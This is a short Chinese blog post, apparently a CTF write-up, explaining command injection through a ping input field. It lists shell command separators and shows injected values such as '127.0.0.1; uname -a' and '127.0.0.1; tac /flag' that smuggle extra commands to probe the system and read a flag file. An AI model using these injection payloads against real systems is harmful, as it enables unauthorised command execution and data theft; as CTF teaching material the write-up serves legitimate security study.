CTF命令注入

常用命令分隔符

python 复制代码
;        # 顺序执行多条命令
|        # 管道符,将前命令输出作为后命令输入
||       # 前命令失败则执行后命令
&        # 后台执行
&&       # 前命令成功则执行后命令
$(cmd)   # 命令替换
`cmd`    # 命令替换(反引号)

实际利用步骤

(1)探测系统信息:127.0.0.1; uname -a

(2)列出目录文件:127.0.0.1; ls /

(3)读取flag文件:127.0.0.1; tac /flag

漏洞特征分析

1。技术实现推测:

根据返回结果的特征和题目的名称,推测后端可能使用了PHP的exec()或system()等命令执行函数

这些函数能够直接调用系统shell执行命令

2.漏洞类型判断:

基于"用户输入直接拼接系统命令"的典型模式

结合题目提示和初步实验结果

初步判定存在命令注入漏洞(Command Injection)

3.验证方向:

需要进一步测试是否存在命令分隔符注入可能

验证是否能够执行非PING相关系统命令


版权声明:本文为CSDN博主「一只枷锁」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/2402_84408069/article/details/149840438

相关推荐
头疼的程序员4 分钟前
计算机网络:自顶向下方法(第七版)第八章 学习分享(二)
学习·计算机网络
南湖北漠17 小时前
奇奇怪怪漫画里面的蛞蝓是带壳的那种鼻涕虫
网络·人工智能·计算机网络·其他·安全·生活
毅炼21 小时前
计算机网络常见问题
计算机网络
一个有温度的技术博主1 天前
计算机网络核心四:一文讲透速率、带宽与时延
计算机网络
是真的小外套1 天前
第十五章:XXE漏洞攻防与其他漏洞全解析
后端·计算机网络·php
一个有温度的技术博主2 天前
计算机网络进阶五:揭秘时延带宽积、RTT与丢包率
计算机网络
南湖北漠2 天前
记录生活中的一件小事(佚名整理)
网络·人工智能·计算机网络·其他·安全·生活
祁白_3 天前
Bugku:备份是一个好习惯
笔记·学习·web安全·ctf
.豆鲨包3 天前
【计算机网络】数据链路层
网络·网络协议·计算机网络
zl_dfq3 天前
计算机网络 之 【TCP协议】(确认应答、超时重传、流量控制、三次握手、四次挥手、滑动窗口、快重传、延迟应答、Nagle算法、捎带应答、拥塞控制)
网络·计算机网络·tcp